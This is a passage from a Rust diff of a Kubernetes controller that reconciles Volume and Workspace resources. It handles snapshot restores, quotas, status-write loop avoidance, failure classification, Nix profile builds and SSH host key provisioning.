Some(w) = &restore { + let staging = format!("{id}-restoring"); + let src_owner = w.owner.as_deref().unwrap_or(owner); + // Always from nothing: the staging id is deterministic, and `pull_core` treats an + // existing `live` as "already converged" — so bytes left by a restore that failed + // half-way would be swapped in and labelled as THIS snapshot. + engine.discard_staging(&staging).map_err(|e| e.to_string())?; + engine + .restore(src_owner, &w.volume, &w.snapshot_id, &staging, w.region.as_deref()) + .await + .map_err(|e| e.to_string())?; + engine.replace_live(id, &staging).map_err(|e| e.to_string())?; + } + // After EVERY path that can leave a new `live` behind — create, clone, restore — and on a + // plain quota edit too (a spec change is a new generation, which is a materialize pass + // that finds `live` already there). Per subvolume, so a restore's fresh `live` would + // otherwise come up uncapped. + let quota_unenforced = engine.set_quota(id, quota_gb).map_err(|e| e.to_string())?; + Ok(Done { + phase: Phase::Ready, + lineage_tip: None, + restored_to: restore.as_ref().map(|w| w.snapshot_id.clone()), + quota_unenforced, + }) + }) +} + +pub async fn cleanup_volume(v: &crd::Volume, ctx: &Arc) -> Result { + // Reclaiming the subvolume while a `btrfs send` is still reading it destroys the source + // mid-stream. The finalizer is what makes waiting safe: the object cannot disappear until this + // returns, so a requeue costs a tick and the delete completes after the operation does. + // + // The finished handle must be DRAINED here, not merely observed: while an object is deleting + // the finalizer routes every reconcile to this arm, so `apply_volume` never runs and nothing + // else would ever remove the entry — the delete would requeue forever on its own leftovers. + let uid = v.uid().unwrap_or_default(); + { + let mut running = ctx.running.lock().unwrap_or_else(|p| p.into_inner()); + match running.get(&uid) { + Some((_, h)) if h.is_finished() => { + running.remove(&uid); + } + Some(_) => { + tracing::info!(volume = %v.name_any(), "delete waiting for an in-flight operation"); + return Ok(Action::requeue(TICK)); + } + None => {} + } + } + let engine = ctx.engine.clone(); + let id = v.name_any(); + let profile_id = id.clone(); + let profiles = ctx.profiles_dir.clone(); + // ponytail: a profile build in flight is keyed `profile:{workspace uid}`, which this path does + // not know, so a workspace deleted mid-build leaves one finished handle in `running` and one + // hash in `profile_builds` until the process restarts. Bounded and harmless; drain both here + // off the Volume's ownerReference if either map is ever seen growing. + tokio::task::spawn_blocking(move || { + crate::cleanup_local(&engine, &id); + // A node that never built for this volume has no profile — and a `/nix` this pod cannot + // see is not a reason to strand a delete behind its finalizer. + if let Err(e) = crate::nix::remove_profile(&profiles, &profile_id) { + tracing::warn!(volume = %profile_id, error = %e, "removing the nix profile"); + } + }) + .await + .map_err(|e| ReconcileErr(format!("cleanup panicked: {e}")))?; + Ok(Action::await_change()) +} + +async fn write_volume_status(v: &crd::Volume, st: crd::VolumeStatus, ctx: &Arc) -> Result<(), ReconcileErr> { + if let Some(cur) = &v.status { + if status_eq(cur, &st) { + return Ok(()); + } + } + let api: Api = Api::all(ctx.client.clone()); + patch_status(&api, &v.name_any(), "Volume", serde_json::to_value(&st).map_err(|e| ReconcileErr(e.to_string()))?).await +} + +/// Status equality that ignores `lastTransitionTime`: a condition re-stamped with `now` is not a +/// change, and treating it as one is the classic controller hot loop — a status write that triggers +/// its own watch event and reconciles again. That is an outage, not a warning. +pub(crate) fn conditions_eq(a: &[Condition], b: &[Condition]) -> bool { + a.len() == b.len() + && a.iter().zip(b).all(|(x, y)| { + x.type_ == y.type_ + && x.status == y.status + && x.reason == y.reason + && x.message == y.message + && x.observed_generation == y.observed_generation + }) +} + +/// `conditions_eq`, for a status that is only a `serde_json::Value` — which is what `settle`'s +/// per-kind builders hand back. Compares `phase` and the conditions, ignoring `lastTransitionTime`; +/// every other field a builder writes is copied from the object's own previous status. +fn settled_status_eq(obj: &K, next: &serde_json::Value) -> bool { + fn shape(v: &serde_json::Value) -> serde_json::Value { + let mut conds = v.get("conditions").cloned().unwrap_or(serde_json::Value::Null); + if let Some(arr) = conds.as_array_mut() { + for c in arr { + if let Some(o) = c.as_object_mut() { + o.remove("lastTransitionTime"); + } + } + } + serde_json::json!({"phase": v.get("phase"), "conditions": conds}) + } + serde_json::to_value(obj) + .ok() + .and_then(|v| v.get("status").cloned()) + .is_some_and(|cur| shape(&cur) == shape(next)) +} + +fn status_eq(a: &crd::VolumeStatus, b: &crd::VolumeStatus) -> bool { + a.phase == b.phase + && a.observed_generation == b.observed_generation + && a.subvolume_present == b.subvolume_present + && a.lineage_tip == b.lineage_tip + && a.restored_to == b.restored_to + && a.restore_requested_at == b.restore_requested_at + && a.progress == b.progress + && conditions_eq(&a.conditions, &b.conditions) +} + +/// An OPTIMISTIC status write: `replace_status` carrying the object's current +/// `metadata.resourceVersion`, so a concurrent writer makes this a 409. +/// +/// The counterpart to `patch_status`, and the difference is the whole point. `patch_status` applies +/// FORCED, which is right for a write only one node can make (its own node's objects) and wrong for +/// the one write two nodes race: a forced apply has no precondition, never conflicts, and lets both +/// claimants believe they won. Use this for the claim; use `patch_status` for everything else. +/// +/// It returns the raw `kube::Error` rather than a `ReconcileErr` so callers can branch on +/// `Api(s).code == 409` structurally — sniffing "409" out of a formatted string is how a message +/// change silently turns "a peer won" back into "retry forever". `?` still works from a reconcile, +/// via `From for ReconcileErr`. +/// +/// `status` must carry `phase`: the CRD schema declares it required, and a write without it is +/// rejected by the API server. +/// +/// The body is the OBJECT AS FETCHED with its status replaced, because `replace_status` is a PUT of +/// a whole object and the object already carries the `metadata.resourceVersion` that makes the PUT +/// a precondition. The spec that rides along is ignored by the `/status` subresource — that is what +/// the subresource is for — so this still cannot edit desired state. +pub async fn replace_status(api: &Api, obj: &K, kind: &str, status: serde_json::Value) -> Result<(), kube::Error> +where + K: Resource + Clone + serde::Serialize + serde::de::DeserializeOwned + std::fmt::Debug, +{ + let name = obj.meta().name.clone().unwrap_or_default(); + let mut body = serde_json::to_value(obj).map_err(kube::Error::SerdeError)?; + body["apiVersion"] = serde_json::json!(format!("{}/{}", crd::GROUP, crd::VERSION)); + body["kind"] = serde_json::json!(kind); + body["status"] = status; + let next: K = serde_json::from_value(body).map_err(kube::Error::SerdeError)?; + api.replace_status(&name, &PostParams::default(), &next).await?; + Ok(()) +} + +/// Why a reconcile could not finish, and therefore what to do about it. +/// +/// Today every failure is `Action::requeue(RETRY)`, which makes a spec that can never work look +/// exactly like a registry that is briefly down — the same line in the log, forever, at one a +/// minute. The new `storage.source` inputs make that untenable: a `cloneOf` naming a workspace that +/// does not exist, a `restoreOf` whose snapshot no `done` request carries, a Volume pinned to +/// another node — none of these get better by being retried. +pub enum Outcome { + /// Nothing will change this without a new spec. Write the condition, stop. + Permanent(String, &'static str), + /// The world is briefly unavailable. Return `Err` and take `error_policy`'s backoff. + Transient(ReconcileErr), +} + +impl From for Outcome { + /// An API-server error is transient by default — a 5xx, a timeout, a lost connection. A 404 on + /// a REFERENCE (a `cloneOf` source, say) is permanent, but only the caller knows which + /// reference it was reading, so that classification is made at the call site, not here. + fn from(e: kube::Error) -> Self { + Outcome::Transient(ReconcileErr(e.to_string())) + } +} + +/// Turn an `Outcome` into the reconcile's answer, writing the condition on the permanent path. +/// +/// `await_change()` on permanent, deliberately: the object is wrong and the next thing that can +/// help is a human or a new spec, both of which arrive as watch events. +/// +/// `reason` is a CamelCase token, never a sentence — `meta/v1.Condition` requires it and +/// `kubectl wait --for=condition=…` matches on it. The `write` closure exists because each kind's +/// status has a different shape; every call site passes a one-line builder for its own status. +pub async fn settle( + outcome: Outcome, + obj: &K, + kind: &str, + gen: i64, + write: F, + ctx: &Arc, +) -> Result +where + K: Resource + ResourceExt + Clone + serde::Serialize + serde::de::DeserializeOwned + std::fmt::Debug, + F: FnOnce(Condition) -> serde_json::Value, +{ + match outcome { + Outcome::Permanent(msg, reason) => { + let cond = crd::condition("Ready", false, reason, &msg, gen); + let next = write(cond); + // A permanently-broken object reconciles on every watch event it causes, so writing an + // unchanged status re-stamps `lastTransitionTime` and wakes itself: a hot loop that only + // ever ends when someone fixes the spec. Same no-op guard as every other status writer. + if settled_status_eq(obj, &next) { + return Ok(Action::await_change()); + } + tracing::warn!(kind = %kind, name = %obj.name_any(), reason = %reason, error = %msg, "permanent failure; not retrying"); + let api: Api = Api::all(ctx.client.clone()); + patch_status(&api, &obj.name_any(), kind, next).await?; + Ok(Action::await_change()) + } + Outcome::Transient(e) => Err(e), + } +} + +/// Server-side apply on the `/status` subresource. Apply, not Merge: the field manager owns exactly +/// the status fields it sets, so two writers cannot silently clobber each other. +pub async fn patch_status(api: &Api, name: &str, kind: &str, status: serde_json::Value) -> Result<(), ReconcileErr> +where + K: Clone + serde::de::DeserializeOwned + std::fmt::Debug, +{ + let body = serde_json::json!({ + "apiVersion": format!("{}/{}", crd::GROUP, crd::VERSION), + "kind": kind, + "status": status, + }); + api.patch_status(name, &PatchParams::apply(crd::AGENT_FIELD_MANAGER).force(), &Patch::Apply(&body)).await?; + Ok(()) +} + +// ── workspaces ─────────────────────────────────────────────────────────── + +async fn reconcile_workspace(w: Arc, ctx: Arc) -> Result { + apply_workspace(&w, &ctx).await +} + +/// Create this parent's `Volume` child if it is missing, and hand back what the API server holds. +/// +/// The child takes the PARENT's name: the id is already the registry key, the PV name, the PVC +/// name and the URL segment, and an ownerReference — not a name — is what makes it a child. That +/// ownerReference is also the whole delete story: `DELETE workspace` reclaims the disk with no +/// ordering logic anywhere in the API. +#[allow(clippy::too_many_arguments)] +pub async fn ensure_child_volume

( + parent: &P, + owner: &str, + team: &str, + region: &str, + storage: &crd::WorkspaceStorage, + node: &str, + kind: &str, + ctx: &Arc, +) -> Result +where + P: Resource + ResourceExt, +{ + let id = parent.name_any(); + let api: Api = Api::all(ctx.client.clone()); + if let Some(v) = api.get_opt(&id).await? { + return Ok(v); + } + let mut vol = crd::Volume::new( + &id, + crd::VolumeSpec { + owner: owner.to_string(), + team: team.to_string(), + // FROM `status.nodeName`, never recomputed. The mismatch guard in `apply_workspace` is + // the belt to this brace: a Workspace never names a node its Volume does not, because + // the Volume is authored here from that one field. + node_name: node.to_string(), + region: region.to_string(), + quota_gb: storage.quota_gb, + source: storage.source.clone(), + // A fresh child is materialized from `source`; an in-place restore is a later wish the + // parent's gate writes once, and never part of a create. + restore_to: None, + }, + ); + vol.metadata.owner_references = Some(vec![owner_ref_of_kind(parent)?]); + vol.metadata.labels = Some(std::collections::BTreeMap::from([ + (k8s::OWNER_LABEL.to_string(), owner.to_string()), + (k8s::KIND_LABEL.to_string(), kind.to_string()), + (k8s::TEAM_LABEL.to_string(), team.to_string()), + ])); + match api.create(&PostParams::default(), &vol).await { + Ok(v) => Ok(v), + // Lost a race with our own earlier pass. Read back what won. + Err(kube::Error::Api(s)) if s.code == 409 => Ok(api.get(&id).await?), + Err(e) => Err(e.into()), + } +} + +/// Whether the child's disk actually exists. A parent acts on a child only by reading the child's +/// status, never by guessing — and "the object exists" is not "the subvolume exists". The symptom +/// this guards is a pod wedged forever on `path … does not exist`. +fn volume_is_ready(v: &crd::Volume) -> bool { + v.status.as_ref().is_some_and(|s| s.phase == crd::Phase::Ready && s.subvolume_present) +} + +/// The source references that can be wrong forever, checked ONCE before a Volume is created. +/// +/// These never get better by being retried: a `cloneOf` naming a workspace that does not exist, a +/// `restoreOf` whose snapshot id no `done` SnapshotRequest carries. Without this branch each of +/// them requeues at `RETRY` forever, and the log line is indistinguishable from a registry outage. +async fn check_source(source: Option<&VolumeSource>, ctx: &Arc) -> Result<(), Outcome> { + match source { + None | Some(VolumeSource::GitRepo { .. }) => Ok(()), + // Workspace THEN Environment: `clone_env` names an environment's id here, and checking only + // the workspace kind settled every cloned environment as a permanent `NoSuchSource`. + Some(VolumeSource::CloneOf { volume }) => { + let ws: Api = Api::all(ctx.client.clone()); + if ws.get_opt(volume).await.map_err(Outcome::from)?.is_some() { + return Ok(()); + } + let envs: Api = Api::all(ctx.client.clone()); + match envs.get_opt(volume).await { + Ok(Some(_)) => Ok(()), + Ok(None) => Err(Outcome::Permanent(format!("clone source {volume} does not exist"), "NoSuchSource")), + Err(e) => Err(e.into()), + } + } + // Deliberately unchecked here. A snapshot outlives its SnapshotRequest -- the env-stop + // request is deleted after teardown, and nothing keeps a push request forever -- so + // validating against a `done` CR made a deleted environment's snapshots unrestorable while + // their records sat in the registry untouched. The registry is the source of truth, and + // the restore work reads it anyway; a missing record comes back as `NO_SUCH_RECORD` and is + // settled permanently on the work path. + Some(VolumeSource::RestoreOf { .. }) => Ok(()), + } +} + +/// What a parent must do about its `Volume` child, decided once for both parent kinds. +enum Resolved { + /// The disk exists. Carry on. Boxed only to keep the enum from being a `Volume` wide. + Ready(Box), + /// Not usable yet (or ever). The parent writes `phase` + `cond` into ITS OWN status struct — + /// the two status types share no trait — and returns `action`. + Wait { volume_ref: Option, phase: crd::Phase, cond: Condition, action: Action }, + /// `settle` already wrote the status; the parent just returns. + Settled(Action), +} + +/// Resolve a parent's `Volume` child: adopt a legacy one, author a new one, refuse a node +/// disagreement, wait for the disk. Shared by `apply_workspace` and `apply_environment` because a +/// second copy of this is a second place for the placement rules to drift. +/// +/// `node_name`/`volume_ref` are the parent's STATUS fields, taken by `&mut` so a release-1 object's +/// deprecated spec pointers are mirrored into status here — which is what lets both callers read +/// status alone from this point on. +#[allow(clippy::too_many_arguments)] +async fn resolve_volume

( + parent: &P, + owner: &str, + team: &str, + region: &str, + storage: &Option, + spec_node: Option<&str>, + spec_volume_ref: Option<&str>, + node_name: &mut String, + volume_ref: &mut Option, + compatible_nodes: &[String], + gen: i64, + ctx: &Arc, +) -> Result +where + P: Resource + ResourceExt + Clone + serde::de::DeserializeOwned + std::fmt::Debug + serde::Serialize, +{ + let api_kind = P::kind(&()).to_string(); + // A release-1 object created before placement moved into status: its Volume already exists and + // is named by the deprecated pointer, so it is ADOPTED rather than authored. + let legacy = storage.is_none().then_some(spec_volume_ref).flatten(); + if legacy.is_some() { + if node_name.is_empty() { + *node_name = spec_node.unwrap_or_default().to_string(); + } + if volume_ref.is_none() { + *volume_ref = spec_volume_ref.map(str::to_string); + } + } + + // Before anything is created: a source that can never resolve is a permanent failure, and the + // difference between "wrong forever" and "briefly unavailable" is what `settle` writes down. + let outcome = match (storage, legacy) { + (Some(s), _) => check_source(s.source.as_ref(), ctx).await.err(), + // Not legacy and no storage: nothing here can ever build a disk, and no retry adds a field. + (None, None) => Some(Outcome::Permanent("spec.storage is required".into(), "NoStorage")), + (None, Some(_)) => None, + }; + if let Some(outcome) = outcome { + let (node, nodes) = (node_name.clone(), compatible_nodes.to_vec()); + return Ok(Resolved::Settled( + settle( + outcome, + parent, + &api_kind, + gen, + move |cond| { + serde_json::json!({ + "phase": crd::Phase::Error, + "nodeName": node, + "compatibleNodes": nodes, + "conditions": [cond], + }) + }, + ctx, + ) + .await?, + )); + } + + let vol = match (storage, legacy) { + (Some(s), _) => { + ensure_child_volume(parent, owner, team, region, s, node_name, &api_kind.to_lowercase(), ctx).await? + } + // Adopted, never created: the ownerReference is Task 7's migration to patch on. + (None, Some(r)) => Api::::all(ctx.client.clone()).get(r).await?, + (None, None) => unreachable!("settled above"), + }; + let id = vol.name_any(); + // The belt to `ensure_child_volume`'s brace: two places allowed to name a node is two places + // that can disagree about where the data is, and the failure mode is an owner's data split + // across pools — so a disagreement refuses rather than picks. + if vol.spec.node_name != *node_name { + let why = format!("status.nodeName {node_name} disagrees with volume {id}'s node {}", vol.spec.node_name); + return Ok(Resolved::Wait { + volume_ref: None, + phase: crd::Phase::Error, + cond: crd::condition("Degraded", true, "NodeMismatch", &why, gen), + action: Action::await_change(), + }); + } + if !volume_is_ready(&vol) { + // A child that has FAILED is not a child that is still working: requeueing at it forever + // says "not materialized yet" once a minute and hides the real reason, which the child + // already wrote down. The Volume watch re-triggers this parent when the child recovers, so + // waiting for a change costs nothing. + let failed = vol.status.as_ref().filter(|s| s.phase == crd::Phase::Error).map(|s| { + s.conditions + .iter() + .find(|c| c.type_ == "Ready") + .map(|c| c.message.clone()) + .unwrap_or_else(|| format!("volume {id} is in phase error")) + }); + return Ok(Resolved::Wait { + volume_ref: Some(id), + phase: crd::Phase::Creating, + cond: crd::condition( + "VolumeReady", + false, + if failed.is_some() { "VolumeFailed" } else { "VolumeNotReady" }, + failed.as_deref().unwrap_or("the subvolume is not materialized yet"), + gen, + ), + action: if failed.is_some() { Action::await_change() } else { Action::requeue(TICK) }, + }); + } + Ok(Resolved::Ready(Box::new(vol))) +} + +/// Bring this workspace's Nix profile up to date with `spec.packages`, and say so on status. +/// `None` means the profile is current and the pod may be (re)started; `Some(action)` means +/// status was written and the pass ends here — a build in flight, or a build that failed with +/// no profile to fall back on. +/// +/// Runs on EVERY pass, which is what makes packages present after a restore, a clone, a move or +/// an agent restart: each of those arrives with a spec whose hash does not match the profile +/// this node has (or with no profile at all), and the pod is not applied until it does. +/// +/// `prev` is advanced as status is written so the pod step below inherits what was said here — +/// a workspace's profile state must not be erased by the pass that goes on to the pod. +async fn ensure_profile( + w: &crd::Workspace, + id: &str, + gen: i64, + prev: &mut crd::WorkspaceStatus, + ctx: &Arc, +) -> Result, ReconcileErr> { + use rustic_git_workspaces::packages; + // An empty list still builds: the pod mounts `{profiles_dir}/{id}` as a subPath of a READ-ONLY + // claim, so a missing directory is an unmountable pod, not a pod without extras. An empty + // `buildEnv` is a cache hit. + let uid = w.uid().unwrap_or_default(); + // Its own key: a workspace can be pushing (keyed by the Volume's uid) while its profile builds. + let key = format!("profile:{uid}"); + + // A finished build: publish it and record what it is. A running one: say so and wait. The + // lock is dropped before any await — a `MutexGuard` held across one makes the whole reconcile + // future non-`Send`, which `Controller::run` refuses. + let (finished, still_running) = { + let mut running = ctx.running.lock().unwrap_or_else(|p| p.into_inner()); + match running.get(&key) { + Some((_, h)) if h.is_finished() => (running.remove(&key), false), + Some(_) => (None, true), + None => (None, false), + } + }; + if still_running { + let st = packages_status(prev, prev.packages.clone(), "Building", "taking the profile through nix", false, gen); + write_ws_status_tracking(w, st, prev, ctx).await?; + return Ok(Some(Action::requeue(TICK))); + } + + // Validated again here: the API validates, but an object can be written by kubectl or a + // restored backup, and a name that is not an attribute must never reach an expression. + if let Err(e) = packages::validate_list(&w.spec.packages) { + let has = crate::nix::profile_exists(&ctx.profiles_dir, id); + let st = packages_status(prev, prev.packages.clone(), "BuildFailed", &e.to_string(), has, gen); + write_ws_status_tracking(w, st, prev, ctx).await?; + // Only a spec edit fixes this, and that is an event. + return Ok(if has { None } else { Some(Action::await_change()) }); + } + let pin = crate::nix::nixpkgs_pin(); + // The platform's base set first, then the workspace's own, deduplicated: the hash covers + // both, so rolling the base rebuilds every profile, and a name in both lists is one package. + let base = crate::nix::base_packages(); + let mut all: Vec = base.clone(); + all.extend(w.spec.packages.iter().filter(|p| !base.contains(p)).cloned()); + if let Err(e) = packages::validate_list(&all) { + // A bad BASE entry is the operator's mistake, not the user's; the message says which. + let has = crate::nix::profile_exists(&ctx.profiles_dir, id); + let st = packages_status(prev, prev.packages.clone(), "BuildFailed", &format!("base packages: {e}"), has, gen); + write_ws_status_tracking(w, st, prev, ctx).await?; + return Ok(if has { None } else { Some(Action::await_change()) }); + } + let hash = packages::hash(&pin, &all); + let observed = crd::PackagesStatus { + base, + observed: w.spec.packages.clone(), + observed_hash: Some(hash.clone()), + profile: Some(crate::nix::profile_path(&ctx.profiles_dir, id).to_string_lossy().into_owned()), + nixpkgs: Some(pin.clone()), + }; + + let started_from = ctx.profile_builds.lock().unwrap_or_else(|p| p.into_inner()).remove(&key); + let mut had_finished = false; + if let Some((_, handle)) = finished { + let outcome = handle.await.unwrap_or_else(|e| Err(format!("build panicked: {e}"))); + // The spec that build started from, not the one we are looking at now. A PATCH that lands + // mid-build makes them differ, and publishing then would put yesterday's tools behind + // today's hash — a workspace that never rebuilds. Drop it and build again below. + let stale = started_from.as_deref() != Some(hash.as_str()); + match outcome { + Ok(_) if !stale => { + tokio::task::spawn_blocking({ + let id = id.to_string(); + let profiles = ctx.profiles_dir.clone(); + move || crate::nix::publish(&profiles, &id) + }) + .await + .map_err(|e| ReconcileErr(format!("publish panicked: {e}")))? + .map_err(|e| ReconcileErr(format!("publish profile: {e}")))?; + had_finished = true; + } + Ok(_) => { + let _ = std::fs::remove_file(crate::nix::building_path(&ctx.profiles_dir, id)); + tracing::info!(workspace = %id, "the spec changed during the build; rebuilding"); + } + Err(_) if stale => { + tracing::info!(workspace = %id, "a build for a superseded spec failed; rebuilding"); + } + Err(e) => { + let has = crate::nix::profile_exists(&ctx.profiles_dir, id); + // The OLD packages, not the ones that failed: recording the new hash here makes + // the next pass see hash-match plus a directory on disk and never retry the build. + let st = packages_status(prev, prev.packages.clone(), "BuildFailed", &e, has, gen); + let backoff = build_failed_backoff(prev); + write_ws_status_tracking(w, st, prev, ctx).await?; + // With a profile on disk the pod runs on the old one; without, only a retry helps. + return Ok(if has { None } else { Some(Action::requeue(backoff)) }); + } + } + } + + let current = prev.packages.as_ref().and_then(|p| p.observed_hash.as_deref()) == Some(hash.as_str()) + && crate::nix::profile_exists(&ctx.profiles_dir, id); + if current { + return Ok(None); + } + // A fresh profile on disk whose hash status does not yet record (the publish above, or a + // restart between publish and status): record it without building again. + if had_finished && crate::nix::profile_exists(&ctx.profiles_dir, id) { + let st = packages_status(prev, Some(observed), "Built", "profile is on disk", true, gen); + write_ws_status_tracking(w, st, prev, ctx).await?; + return Ok(None); + } + + // A daemon that is not there is not a failed build: it is this node, and it says so under its + // own reason so the UI does not blame the package list. A workspace that already has a profile + // still gets its pod — the tools it has keep working while the daemon is down. + if let Err(e) = ctx.nix.ping() { + let has = crate::nix::profile_exists(&ctx.profiles_dir, id); + let st = packages_status(prev, prev.packages.clone(), "NoNix", &e, has, gen); + write_ws_status_tracking(w, st, prev, ctx).await?; + return Ok(if has { None } else { Some(Action::requeue(RETRY)) }); + } + + // Build, on its own thread: `nix` blocks for as long as the substituter takes. The link is + // made here rather than by `nix -o`: an out-link's auto GC root points at the `.building` + // path, so the publish rename would orphan it and leave the live profile collectable. + let expr = packages::expression(&pin, id, &all); + let dir = crate::nix::profile_dir(&ctx.profiles_dir, id); + let building = crate::nix::building_path(&ctx.profiles_dir, id); + let nix = ctx.nix.clone(); + let timeout = crate::nix::build_timeout(); + let handle = tokio::task::spawn_blocking(move || { + let store_path = nix.build(&expr, timeout)?; + // A node that ran the old flat-link layout has `{id}` as a SYMLINK into the store, and + // `create_dir_all` would happily accept it — every write below then lands inside a + // read-only store path. + if dir.is_symlink() { + std::fs::remove_file(&dir).map_err(|e| format!("old profile link: {e}"))?; + } + std::fs::create_dir_all(&dir).map_err(|e| format!("profile dir: {e}"))?; + let _ = std::fs::remove_file(&building); + std::os::unix::fs::symlink(&store_path, &building).map_err(|e| format!("profile link: {e}"))?; + Ok(Done { phase: crd::Phase::Ready, ..Done::default() }) + }); + let handle = wake_on_finish( + handle, + ctx.wake_workspace.clone(), + kube::runtime::reflector::ObjectRef::::new(&w.name_any()), + ); + ctx.profile_builds.lock().unwrap_or_else(|p| p.into_inner()).insert(key.clone(), hash.clone()); + ctx.running.lock().unwrap_or_else(|p| p.into_inner()).insert(key, (gen, handle)); + // The OLD packages while it builds, never `observed`: an agent that dies between here and the + // publish would otherwise leave a status whose hash matches the spec next to the PREVIOUS + // profile on disk, and the next pass skips the build forever. `observed` is recorded on + // `Built` and nowhere else — status says what is on the disk, not what is being made. + let st = packages_status(prev, prev.packages.clone(), "Building", "taking the profile through nix", crate::nix::profile_exists(&ctx.profiles_dir, id), gen); + write_ws_status_tracking(w, st, prev, ctx).await?; + Ok(Some(Action::requeue(TICK))) +} + +/// How long to wait before retrying a failed build: 60s the first time, growing with how long the +/// workspace has been failing, capped at an hour. A misspelled attribute never becomes buildable +/// on its own — retrying it every minute forever is load on the daemon for nothing, and the fix +/// (a spec edit) is an event that wakes the reconcile regardless of the requeue. +fn build_failed_backoff(prev: &crd::WorkspaceStatus) -> Duration { + let since = prev + .conditions + .iter() + .find(|c| c.type_ == crd::PACKAGES_READY && c.reason == "BuildFailed") + .map(|c| k8s_openapi::jiff::Timestamp::now().as_second() - c.last_transition_time.0.as_second()) + .unwrap_or(0); + Duration::from_secs(since.clamp(60, 3600) as u64) +} + +/// Status for the packages step: phase stays what it was (a workspace building a profile is not +/// being CREATED), `observed_generation` stays unset (not converged), the `PackagesReady` +/// condition replaces any earlier one of its type. +fn packages_status( + prev: &crd::WorkspaceStatus, + packages: Option, + reason: &str, + message: &str, + ready: bool, + gen: i64, +) -> crd::WorkspaceStatus { + let mut conditions: Vec<_> = prev.conditions.iter().filter(|c| c.type_ != crd::PACKAGES_READY).cloned().collect(); + let old = prev.conditions.iter().find(|c| c.type_ == crd::PACKAGES_READY); + // `lastTransitionTime` is a TRANSITION: a build that fails again for the same reason has not + // transitioned, and re-stamping it would reset the backoff every pass into a flat 60s retry. + conditions.push(crd::condition_since(old, crd::PACKAGES_READY, ready && reason == "Built", reason, message, gen)); + crd::WorkspaceStatus { observed_generation: None, packages, conditions, ..prev.clone() } +} + +/// Make sure this workspace has an SSH host key, and report its public half on status. +/// +/// Get-then-create, never apply: the key is this pod's IDENTITY, pinned in every user's +/// `known_hosts`, so a second generation would look exactly like a man-in-the-middle. The Secret is +/// the record — a pass that finds one reads the public line back out of it and generates nothing. +/// +/// Runs before the pod for the same reason `ensure_profile` does: a container started without +/// `/etc/ssh` is an sshd that exits on boot. +async fn ensure_ssh( + w: &crd::Workspace, + id: &str, + ns: &str, + owner_ref: &OwnerReference, + prev: &mut crd::WorkspaceStatus, + ctx: &Arc, +) -> Result<(), ReconcileErr> { + use k8s_openapi::api::core::v1::Secret; + let secrets: Api = Api::namespaced(ctx.client.clone(), ns); + let name = k8s::ws_ssh_secret_name(id); + let public = match secrets.get_opt(&name).await? { + Some(s) => s + .data + .as_ref() + .and_then(|d| d.get("ssh_host_ed25519_key.pub")) + .map(|b| String::from_utf8_lossy(&b.0).trim().to_string()) + // A Secret without the public half is one someone edited: the private key is still the + // pod's identity, so it is never replaced — status just has nothing to report. + .unwrap_or_default(), + None => { + // `ssh-keygen` and two file reads: a process spawn on the reactor thread stalls every + // other reconcile in flight, as every other shell-out here does not. + let keys = ctx.host_keys.clone(); + let (private, public) = tokio::task::spawn_blocking(move || keys.generate()) + .await + .map_err(|e| ReconcileErr(format!("host key task: {e}")))? + .map_err(ReconcileErr)?; + let s = k8s::ws_ssh_secret(id, ns, &w.spec.owner, owner_ref, &private, &public); + match secrets.create(&PostParams::default(), &s).await { + Ok(_) => public, + // Lost the race with our own earlier pass: the winner's key is the identity, and + // the one just generated is discarded unread. + Err(kube::Error::Api(st)) if st.code == 409 => secrets + .get(&name) + .await? + .data + .and_then(|d| d.get("ssh_host_ed25519_key.pub").map(|b| String::from_utf8_lossy(&b.0).trim().to_string())) + .unwrap_or_default(), + Err(e) => return Err(e.into()), + } + } + }; + // ponytail: the Secret is created once and never reconciled, so an existing workspace keeps the + // `sshd_config` it was made with. Delete the Secret (never the key) and let the next pass + // rewrite it, or patch just that field here, if the config ever has to change under running + // workspaces. + // + // An empty public half is a hand-edited Secret, not a key: report nothing rather than an empty + // string the CLI would try to pin — and say so, because the symptom is a workspace nobody can + // ssh into with no other trace. + if public.is_empty() { + tracing::warn!(workspace = %id, secret = %name, "host key Secret has no public half; status.sshHostKey left as it was"); + return Ok(()); + } + if prev.ssh_host_key.as_deref() != Some(public.as_str()) { + // `observedGeneration` stays unset: this pass has not converged yet — the pod is still + // ahead of it. + let st = crd::WorkspaceStatus { ssh_host_key: Some(public), observed_generation: None, ..prev.clone() }; + write_ws_status_tracking(w, st, prev, ctx).await?; + } + Ok(()) +} + +/// `write_ws_status`, remembering what was written: later steps of the same pass build their status +/// from `prev`, so a write that is not tracked is a condition silently dropped by the next one. +async fn write_ws_status_tracking( + w: &crd::Workspace, + st: crd::WorkspaceStatus, + prev: &mut crd::WorkspaceStatus, + ctx: &Arc, +) -> Result<(), ReconcileErr> { + *prev = st.clone(); + write_ws_status(w, st, ctx).await +} + +/// The pod step's conditions, keeping whatever the packages step said about this profile. +fn ws_conditions(prev: &crd::WorkspaceStatus, ready: Condition) -> Vec { + let mut c: Vec = prev.conditions.iter().filter(|c| c.type_ == crd::PACKAGES_READY).cloned().collect(); + c.push(ready); + c +} + +pub async fn apply_workspace(w: &crd::Workspace, ctx: &Arc) -> Result { + heal_labels(&Api::::all(ctx.client.clone()), w, &w.spec.owner, &w.spec.team, "workspace").await?; + let gen = w.meta().generation.unwrap_or(0); + let mut prev = w.status.clone().unwrap_or_default(); + // Stopping is a pod delete and nothing else — it needs neither the disk nor the namespace. Run + // it BEFORE those gates: a workspace whose Volume failed permanently would otherwise be + // unstoppable, stuck reporting `creating` with a pod still running on a broken subvolume. + if w.spec.desired_state == DesiredState::Stopped { + let ns = crd::ws_namespace(&w.spec.owner, &w.spec.team); + // The Volume child takes the parent's own name, so the pod's name is known without reading + // (or creating) it. + let id = prev.volume_ref.clone().unwrap_or_else(|| w.name_any()); + delete_ignoring_404(&Api::::namespaced(ctx.client.clone(), &ns), &id).await?; + // `ws_conditions`, not a bare vec: a stop that dropped `PackagesReady` left the web + // showing "installing packages…" for a workspace that is simply off. + let conditions = ws_conditions(&prev, crd::condition("Ready", true, "Converged", "workspace matches spec", gen)); + let st = crd::WorkspaceStatus { + phase: crd::Phase::Stopped, + observed_generation: Some(gen), + volume_ref: Some(id), + pod_ref: None, + conditions, + ..prev + }; + write_ws_status(w, st, ctx).await?; + return Ok(Action::await_change()); + } + let vol = match resolve_volume( + w, + &w.spec.owner, + &w.spec.team, + &w.spec.region, + &w.spec.storage, + w.spec.node_name.as_deref(), + w.spec.volume_ref.as_deref(), + &mut prev.node_name, + &mut prev.volume_ref, + &prev.compatible_nodes, + gen, + ctx, + ) + .await? + { + Resolved::Ready(v) => *v, + Resolved::Settled(a) => return Ok(a), + // Unobserved on purpose on every wait: this generation has not converged, so the next 